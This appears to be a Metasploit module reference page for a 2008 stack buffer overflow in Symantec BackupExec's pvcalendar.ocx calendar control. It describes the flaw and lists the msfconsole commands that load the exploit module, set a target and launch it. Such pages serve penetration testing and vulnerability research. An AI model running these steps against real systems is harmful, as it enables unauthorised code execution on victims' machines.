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Symantec BackupExec Calendar Control Buffer Overflow

Disclosed
02/28/2008
Created
05/30/2018

Description

This module exploits a stack buffer overflow in Symantec BackupExec Calendar Control. By sending an overly long string to the "_DOWText0" property located in the pvcalendar.ocx control, an attacker may be able to execute arbitrary code.

Author(s)

  • Elazar Broad <elazarb@earthlink.net>

Platform

Windows

Development

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/browser/symantec_backupexec_pvcalendar
msf exploit(symantec_backupexec_pvcalendar) > show targets
    ...targets...
msf exploit(symantec_backupexec_pvcalendar) > set TARGET < target-id >
msf exploit(symantec_backupexec_pvcalendar) > show options
    ...show and set options...
msf exploit(symantec_backupexec_pvcalendar) > exploit

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